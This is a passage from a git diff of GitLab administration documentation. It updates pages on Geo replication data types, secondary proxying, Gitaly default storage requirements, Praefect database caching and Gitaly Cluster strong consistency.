-|[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [Not planned](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked by [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Replication of this cache is not needed for disaster recovery purposes because it can be recreated from external sources. |
-|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | No | Not planned because they are ephemeral and sensitive information. They can be regenerated on demand. |
+|Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes |
+|:--------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------|:---------------------------------------------------------------------------|:------------------------------------------------------------------------------|:------|
+|[Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | |
+|[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | |
+|[Group wiki repository](../../../user/project/wiki/group.md) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. |
+|[Uploads](../../uploads.md) | **Yes** (10.2) | **Yes** (14.6) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_upload_replication`, enabled by default. Verification is behind the feature flag `geo_upload_verification` introduced and enabled by default in 14.6. |
+|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | **Yes** (14.6) | Via Object Storage provider if supported. Native Geo support (Beta). | GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).<br /><br />Replication is behind the feature flag `geo_lfs_object_replication`, enabled by default. Verification is behind the feature flag `geo_lfs_object_verification` introduced and enabled by default in 14.6. |
+|[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
+|[CI job artifacts](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. Job logs also verified on transfer. |
+|[CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes. |
+|[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. |
+|[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | |
+|[Infrastructure Registry](../../../user/packages/infrastructure_registry/index.md) | **Yes** (14.0) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (14.0) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | No | Designs also require replication of LFS objects and Uploads. |
+|[Package Registry](../../../user/packages/package_registry/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.12) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_terraform_state_version_replication`, enabled by default. Verification was behind the feature flag `geo_terraform_state_version_verification`, which was removed in 14.0. |
+|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | **Yes** (14.6) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_merge_request_diff_replication`, enabled by default. Verification is behind the feature flag `geo_merge_request_diff_verification`, enabled by default in 14.6.|
+|[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [**Yes** (14.2)](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | Verification was implemented behind the feature flag `geo_snippet_repository_verification` in 13.11, and the feature flag was removed in 14.2. |
+|[GitLab Pages](../../pages/index.md) | [**Yes** (14.3)](https://gitlab.com/groups/gitlab-org/-/epics/589) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (14.6) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_pages_deployment_replication`, enabled by default. Verification is behind the feature flag `geo_pages_deployment_verification`, enabled by default in 14.6. |
+|[Server-side Git hooks](../../server_hooks.md) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | Not planned because of current implementation complexity, low customer interest, and availability of alternatives to hooks. |
+|[Elasticsearch integration](../../../integration/elasticsearch.md) | [Not planned](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | Not planned because further product discovery is required and Elasticsearch (ES) clusters can be rebuilt. Secondaries use the same ES cluster as the primary. |
+|[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [Not planned](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked by [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Replication of this cache is not needed for disaster recovery purposes because it can be recreated from external sources. |
+|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | No | Not planned because they are ephemeral and sensitive information. They can be regenerated on demand. |
#### Limitation of verification for files in Object Storage
diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md
index 02a65f0b8e1..0fa469e57cd 100644
--- a/doc/administration/geo/replication/disable_geo.md
+++ b/doc/administration/geo/replication/disable_geo.md
@@ -20,7 +20,7 @@ To disable Geo, follow these steps:
1. [Remove the primary site from the UI](#remove-the-primary-site-from-the-ui).
1. [Remove secondary replication slots](#remove-secondary-replication-slots).
1. [Remove Geo-related configuration](#remove-geo-related-configuration).
-1. [(Optional) Revert PostgreSQL settings to use a password and listen on an IP](#optional-revert-postgresql-settings-to-use-a-password-and-listen-on-an-ip).
+1. [Optional. Revert PostgreSQL settings to use a password and listen on an IP](#optional-revert-postgresql-settings-to-use-a-password-and-listen-on-an-ip).
## Remove all secondary Geo sites
diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md
index 70a6e506c28..e613a9b5670 100644
--- a/doc/administration/geo/replication/faq.md
+++ b/doc/administration/geo/replication/faq.md
@@ -50,6 +50,8 @@ attachments and avatars, and the whole database. This means user accounts,
issues, merge requests, groups, project data, and so on, will be available for
query.
+For more details, see the [supported Geo data types](datatypes.md).
+
## Can I `git push` to a **secondary** site?
Yes! Pushing directly to a **secondary** site (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in GitLab 11.3.
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index 432d042608c..673d8388af1 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -559,7 +559,7 @@ to start again from scratch, there are a few steps that can help you:
You may want to remove the `/var/opt/gitlab/git-data/repositories.old` in the future
as soon as you confirmed that you don't need it anymore, to save disk space.
-1. _(Optional)_ Rename other data folders and create new ones
+1. Optional. Rename other data folders and create new ones
WARNING:
You may still have files on the **secondary** node that have been removed from the **primary** node, but this
diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md
deleted file mode 100644
index f07c8d547a4..00000000000
--- a/doc/administration/geo/replication/updating_the_geo_nodes.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'updating_the_geo_sites.md'
-remove_date: '2021-11-23'
----
-
-This file was moved to [another location](updating_the_geo_sites.md).
-
-<!-- This redirect file can be deleted after <2021-11-23>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 1b22a5f0991..883e335ff94 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -11,6 +11,10 @@ Review this page for update instructions for your version. These steps
accompany the [general steps](updating_the_geo_sites.md#general-update-steps)
for updating Geo nodes.
+## Updating to 14.4
+
+There is [an issue in GitLab 14.4.0 through 14.4.2](../../../update/index.md#1440) that can affect Geo and other features that rely on cronjobs. We recommend upgrading to GitLab 14.4.3 or later.
+
## Updating to 14.1, 14.2, 14.3
### Multi-arch images
@@ -50,7 +54,7 @@ If you are running a version prior to 14.1 and are using Geo and multi-arch cont
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 14.0/14.1
@@ -64,7 +68,7 @@ If you are running an affected version and need to remove your Primary site, you
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 13.12
@@ -90,7 +94,7 @@ Geo::LfsObjectRegistry.where(state: 0, success: true).update_all(state: 2)
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 13.11
@@ -98,20 +102,20 @@ We found an [issue with Git clone/pull through HTTP(s)](https://gitlab.com/gitla
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 13.10
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 13.9
### Error during zero-downtime update: "cannot drop column asset_proxy_whitelist"
We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
-that will prevent upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3 when following the zero-downtime steps. It is necessary
+that prevents upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3 when following the zero-downtime steps. It is necessary
to perform the following additional steps for the zero-downtime update:
1. Before running the final `sudo gitlab-rake db:migrate` command on the deploy node,
@@ -132,7 +136,7 @@ to perform the following additional steps for the zero-downtime update:
```
If you have already run the final `sudo gitlab-rake db:migrate` command on the deploy node and have
-encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you will
+encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you might
see the following error:
```shell
@@ -148,7 +152,7 @@ More details are available [in this issue](https://gitlab.com/gitlab-org/gitlab/
### Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) will cause Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which enabling [GitLab Maintenance Mode](../../maintenance_mode/index.md) causes Geo secondary site statuses to appear to stop updating and become unhealthy. For more information, see [Troubleshooting - Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
## Updating to GitLab 13.7
@@ -168,7 +172,7 @@ on Geo secondaries. This issue is fixed in GitLab 13.6.1 and later.
In GitLab 13.3, Geo removed the PostgreSQL [Foreign Data Wrapper](https://www.postgresql.org/docs/11/postgres-fdw.html)
dependency for the tracking database.
-The FDW server, user, and the extension will be removed during the upgrade
+The FDW server, user, and the extension is removed during the upgrade
process on each secondary node. The GitLab settings related to the FDW in the
`/etc/gitlab/gitlab.rb` have been deprecated and can be safely removed.
diff --git a/doc/administration/geo/secondary_proxy/index.md b/doc/administration/geo/secondary_proxy/index.md
index 2b8c0d1e6fa..ebd71757e91 100644
--- a/doc/administration/geo/secondary_proxy/index.md
+++ b/doc/administration/geo/secondary_proxy/index.md
@@ -7,11 +7,14 @@ type: howto
# Geo proxying for secondary sites **(PREMIUM SELF)**
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5914) in GitLab 14.4 [with a flag](../../feature_flags.md) named `geo_secondary_proxy`. Disabled by default.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5914) in GitLab 14.4 [with a flag](../../feature_flags.md) named `geo_secondary_proxy`. Disabled by default.
+> - [Enabled by default for unified URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/325732) in GitLab 14.6.
+> - [Disabled by default for different URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/325732) in GitLab 14.6 [with a flag](../../feature_flags.md) named `geo_secondary_proxy_separate_urls`.
FLAG:
-On self-managed GitLab, by default this feature is not available. See below to [Set up a unified URL for Geo sites](#set-up-a-unified-url-for-geo-sites).
-The feature is not ready for production use.
+On self-managed GitLab, this feature is only available by default for Geo sites using a unified URL. See below to
+[set up a unified URL for Geo sites](#set-up-a-unified-url-for-geo-sites).
+The feature is not ready for production use with separate URLs.
Use Geo proxying to:
@@ -66,7 +69,11 @@ a single URL used by all Geo sites, including the primary.
is using the secondary proxying and set the `URL` field to the single URL.
Make sure the primary site is also using this URL.
-### Enable secondary proxying
+In Kubernetes, you can use the same domain under `global.hosts.domain` as for the primary site.
+
+## Disable Geo proxying
+
+You can disable the secondary proxying on each Geo site, separately, by following these steps with Omnibus-based packages:
1. SSH into each application node (serving user traffic directly) on your secondary Geo site
and add the following environment variable:
@@ -77,7 +84,7 @@ a single URL used by all Geo sites, including the primary.
```ruby
gitlab_workhorse['env'] = {
- "GEO_SECONDARY_PROXY" => "1"
+ "GEO_SECONDARY_PROXY" => "0"
}
```
@@ -87,11 +94,15 @@ a single URL used by all Geo sites, including the primary.
gitlab-ctl reconfigure
```
-1. SSH into one node running Rails on your primary Geo site and enable the Geo secondary proxy feature flag:
+In Kubernetes, you can use `--set gitlab.webservice.extraEnv.GEO_SECONDARY_PROXY="0"`,
+or specify the following in your values file:
- ```shell
- sudo gitlab-rails runner "Feature.enable(:geo_secondary_proxy)"
- ```
+```yaml
+gitlab:
+ webservice:
+ extraEnv:
+ GEO_SECONDARY_PROXY: "0"
+```
## Enable Geo proxying with Separate URLs
@@ -99,6 +110,36 @@ The ability to use proxying with separate URLs is still in development. You can
["Geo secondary proxying with separate URLs" epic](https://gitlab.com/groups/gitlab-org/-/epics/6865)
for progress.
+To try out this feature, enable the `geo_secondary_proxy_separate_urls` feature flag.
+SSH into one node running Rails on your primary Geo site and run:
+
+```shell
+sudo gitlab-rails runner "Feature.enable(:geo_secondary_proxy_separate_urls)"
+```
+
+In Kubernetes, you can run the same command in the toolbox pod. Refer to the
+[Kubernetes cheat sheet](../../troubleshooting/kubernetes_cheat_sheet.md#gitlab-specific-kubernetes-information)
+for details.
+
+## Limitations
+
+- When secondary proxying is used, the asynchronous Geo replication can cause unexpected issues for accelerated
+ data types that may be replicated to the Geo secondaries with a delay.
+
+ For example, we found a potential issue where
+ [replication lag introduces read-after-write inconsistencies](https://gitlab.com/gitlab-org/gitlab/-/issues/345267).
+ If the replication lag is high enough, this can result in Git reads receiving stale data when hitting a secondary.
+
+- Non-Rails requests are not proxied, so other services may need to use a separate, non-unified URL to ensure requests
+ are always sent to the primary. These services include:
+
+ - GitLab Container Registry - [can be configured to use a separate domain](../../packages/container_registry.md#configure-container-registry-under-its-own-domain).
+ - GitLab Pages - should always use a separate domain, as part of [the prerequisites for running GitLab Pages](../../pages/index.md#prerequisites).
+
+- With a unified URL, Let's Encrypt can't generate certificates unless it can reach both IPs through the same domain.
+ To use TLS certificates with Let's Encrypt, you can manually point the domain to one of the Geo sites, generate
+ the certificate, then copy it to all other sites.
+
## Features accelerated by secondary Geo sites
Most HTTP traffic sent to a secondary Geo site can be proxied to the primary Geo site. With this architecture,
diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md
index 84dff69ebe7..7d365f73101 100644
--- a/doc/administration/geo/setup/index.md
+++ b/doc/administration/geo/setup/index.md
@@ -26,6 +26,7 @@ If you installed GitLab using the Omnibus packages (highly recommended):
1. [Configure GitLab](../replication/configuration.md) to set the **primary** and **secondary** site(s).
1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** site(s). See [notes on LDAP](../index.md#ldap).
1. Follow the [Using a Geo Site](../replication/usage.md) guide.
+1. [Configure Geo secondary proxying](../secondary_proxy/index.md) to use a single, unified URL for all Geo sites. This step is recommended to accelerate most read requests while transparently proxying writes to the primary Geo site.
## Post-installation documentation
diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md
index d0841f4e607..b31a02aae0a 100644
--- a/doc/administration/gitaly/configure_gitaly.md
+++ b/doc/administration/gitaly/configure_gitaly.md
@@ -350,6 +350,10 @@ leading to `Error creating pipeline` and `Commit not found` errors, or stale dat
As the final step, you must update Gitaly clients to switch from using local Gitaly service to use
the Gitaly servers you just configured.
+NOTE:
+GitLab requires a `default` repository storage to be configured.
+[Read more about this limitation](#gitlab-requires-a-default-repository-storage).
+
This can be risky because anything that prevents your Gitaly clients from reaching the Gitaly
servers causes all Gitaly requests to fail. For example, any sort of network, firewall, or name
resolution problems.
@@ -489,6 +493,18 @@ gitaly['key_path'] = "/etc/gitlab/ssl/key.pem"
`path` can be included only for storage shards on the local Gitaly server.
If it's excluded, default Git storage directory is used for that storage shard.
+### GitLab requires a default repository storage
+
+When adding Gitaly servers to an environment, you might want to replace the original `default` Gitaly service. However, you can't
+reconfigure the GitLab application servers to remove the `default` entry from `git_data_dirs` because GitLab requires a
+`git_data_dirs` entry called `default`. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/36175) about this limitation.
+
+To work around the limitation:
+
+1. Define an additional storage location on the new Gitaly service and configure the additional storage to be `default`.
+1. In the [Admin Area](../repository_storage_paths.md#configure-where-new-repositories-are-stored), set `default` to a weight of zero
+ to prevent repositories being stored there.
+
### Disable Gitaly where not required (optional)
If you run Gitaly [as a remote service](#run-gitaly-on-its-own-server), consider
@@ -605,7 +621,7 @@ To configure Gitaly with TLS:
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. Verify Gitaly traffic is being served over TLS by
[observing the types of Gitaly connections](#observe-type-of-gitaly-connections).
-1. (Optional) Improve security by:
+1. Optional. Improve security by:
1. Disabling non-TLS connections by commenting out or deleting `gitaly['listen_addr']` in
`/etc/gitlab/gitlab.rb`.
1. Saving the file.
@@ -681,7 +697,7 @@ To configure Gitaly with TLS:
1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source).
1. Verify Gitaly traffic is being served over TLS by
[observing the types of Gitaly connections](#observe-type-of-gitaly-connections).
-1. (Optional) Improve security by:
+1. Optional. Improve security by:
1. Disabling non-TLS connections by commenting out or deleting `listen_addr` in
`/home/git/gitaly/config.toml`.
1. Saving the file.
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index c689530e12c..f99bbf21840 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -189,8 +189,7 @@ The availability objectives for Gitaly clusters assuming a single node failure a
Writes are replicated asynchronously. Any writes that have not been replicated
to the newly promoted primary are lost.
- [Strong consistency](#strong-consistency) can be used to avoid loss in some
- circumstances.
+ [Strong consistency](#strong-consistency) prevents loss in some circumstances.
- **Recovery Time Objective (RTO):** Less than 10 seconds.
Outages are detected by a health check run by each Praefect node every
@@ -284,8 +283,7 @@ Gitaly Cluster provides the following features:
- [Replication factor](#replication-factor) of repositories for increased redundancy.
- [Automatic failover](praefect.md#automatic-failover-and-primary-election-strategies) from the
primary Gitaly node to secondary Gitaly nodes.
-- Reporting of possible [data loss](praefect.md#check-for-data-loss) if replication queue is
- non-empty.
+- Reporting of possible [data loss](recovery.md#check-for-data-loss) if replication queue isn't empty.
Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) for improvements
including [horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013).
@@ -323,18 +321,26 @@ You can [monitor distribution of reads](#monitor-gitaly-cluster) using Prometheu
> - In GitLab 13.3, disabled unless primary-wins voting strategy is disabled.
> - From GitLab 13.4, enabled by default.
> - From GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency.
-> - From GitLab 13.6, primary-wins voting strategy and `gitaly_reference_transactions_primary_wins` feature flag were removed from the source code.
+> - From GitLab 13.6, primary-wins voting strategy and the `gitaly_reference_transactions_primary_wins` feature flag was removed.
+> - From GitLab 14.0, [Gitaly Cluster only supports strong consistency](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3575), and the `gitaly_reference_transactions` feature flag was removed.
-By default, Gitaly Cluster guarantees eventual consistency by replicating all writes to secondary
-Gitaly nodes after the write to the primary Gitaly node has happened.
+Gitaly Cluster provides strong consistency by writing changes synchronously to all healthy, up-to-date replicas. If a
+replica is outdated or unhealthy at the time of the transaction, the write is asynchronously replicated to it.
-Praefect can instead provide strong consistency by creating a transaction and writing changes to all
-Gitaly nodes at once.
+If strong consistency is unavailable, Gitaly Cluster guarantees eventual consistency. In this case. Gitaly Cluster
+replicates all writes to secondary Gitaly nodes after the write to the primary Gitaly node has occurred.
-If enabled, transactions are only available for a subset of RPCs. For more information, see the
-[strong consistency epic](https://gitlab.com/groups/gitlab-org/-/epics/1189).
+Strong consistency:
-For configuration information, see [Configure strong consistency](praefect.md#configure-strong-consistency).
+- Is the primary replication method in GitLab 14.0 and later. A subset of operations still use replication jobs
+ (eventual consistency) instead of strong consistency. Refer to the
+ [strong consistency epic](https://gitlab.com/groups/gitlab-org/-/epics/1189) for more information.
+- Must be configured in GitLab versions 13.1 to 13.12. For configuration information, refer to either:
+ - Documentation on your GitLab instance at `/help`.
+ - The [13.12 documentation](https://docs.gitlab.com/13.12/ee/administration/gitaly/praefect.html#strong-consistency).
+- Is unavailable in GitLab 13.0 and earlier.
+
+For more information on monitoring strong consistency, see the Gitaly Cluster [Prometheus metrics documentation](#monitor-gitaly-cluster).
#### Replication factor
@@ -368,6 +374,10 @@ WARNING:
Some [known database inconsistency issues](#known-issues) exist in Gitaly Cluster. We recommend you
remain on your current service for now.
+NOTE:
+GitLab requires a `default` repository storage to be configured.
+[Read more about this limitation](configure_gitaly.md#gitlab-requires-a-default-repository-storage).
+
### Migrate off Gitaly Cluster
If you have repositories stored on a Gitaly Cluster, but you'd like to migrate
@@ -513,6 +523,10 @@ To monitor [strong consistency](#strong-consistency), you can use the following
You can also monitor the [Praefect logs](../logs.md#praefect-logs).
+## Recover from failure
+
+Gitaly Cluster can [recover from certain types of failure](recovery.md).
+
## Do not bypass Gitaly
GitLab doesn't advise directly accessing Gitaly repositories stored on disk with a Git client,
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index da456131a52..d3a8662080f 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -215,6 +215,38 @@ The database used by Praefect is now configured.
If you see Praefect database errors after configuring PostgreSQL, see
[troubleshooting steps](troubleshooting.md#relation-does-not-exist-errors).
+#### Reads distribution caching
+
+Praefect performance can be improved by additionally configuring the `database_direct`
+settings:
+
+```ruby
+praefect['database_direct_host'] = POSTGRESQL_HOST
+praefect['database_direct_port'] = 5432
+
+# Use the following to override parameters of direct database connection.
+# Comment out where the parameters are the same for both connections.
+
+praefect['database_direct_user'] = 'praefect'
+praefect['database_direct_password'] = PRAEFECT_SQL_PASSWORD
+praefect['database_direct_dbname'] = 'praefect_production'
+#praefect['database_direct_sslmode'] = '...'
+#praefect['database_direct_sslcert'] = '...'
+#praefect['database_direct_sslkey'] = '...'
+#praefect['database_direct_sslrootcert'] = '...'
+```
+
+Once configured, this connection is automatically used for the
+[SQL LISTEN](https://www.postgresql.org/docs/11/sql-listen.html) feature and
+allows Praefect to receive notifications from PostgreSQL for cache invalidation.
+
+Verify this feature is working by looking for the following log entry in the Praefect
+log:
+
+```plaintext
+reads distribution caching is enabled by configuration
+```
+
#### Use PgBouncer
To reduce PostgreSQL resource consumption, we recommend setting up and configuring
@@ -223,7 +255,7 @@ this, you must point Praefect to PgBouncer by setting Praefect database paramete
```ruby
praefect['database_host'] = PGBOUNCER_HOST
-praefect['database_port'] = 6432
+praefect['database_port'] = 5432
praefect['database_user'] = 'praefect'
praefect['database_password'] = PRAEFECT_SQL_PASSWORD
praefect['database_dbname'] = 'praefect_production'
@@ -1073,31 +1105,6 @@ To get started quickly:
Congratulations! You've configured an observable fault-tolerant Praefect
cluster.
-## Configure strong consistency
-
-To enable [strong consistency](index.md#strong-consistency):
-
-- In GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency.
-- In GitLab 13.4 and later, the strong consistency voting strategy has been improved and enabled by default.
- Instead of requiring all nodes to agree, only the primary and half of the secondaries need to agree.
-- In GitLab 13.3, reference transactions are enabled by default with a primary-wins strategy.
- This strategy causes all transactions to succeed for the primary and thus does not ensure strong consistency.
- To enable strong consistency, disable the `:gitaly_reference_transactions_primary_wins` feature flag.
-- In GitLab 13.2, enable the `:gitaly_reference_transactions` feature flag.
-- In GitLab 13.1, enable the `:gitaly_reference_transactions` and `:gitaly_hooks_rpc`
- feature flags.
-
-Changing feature flags requires [access to the Rails console](../feature_flags.md#start-the-gitlab-rails-console).
-In the Rails console, enable or disable the flags as required. For example:
-
-```ruby
-Feature.enable(:gitaly_reference_transactions)
-Feature.disable(:gitaly_reference_transactions_primary_wins)
-```
-
-For information on monitoring strong consistency, see the
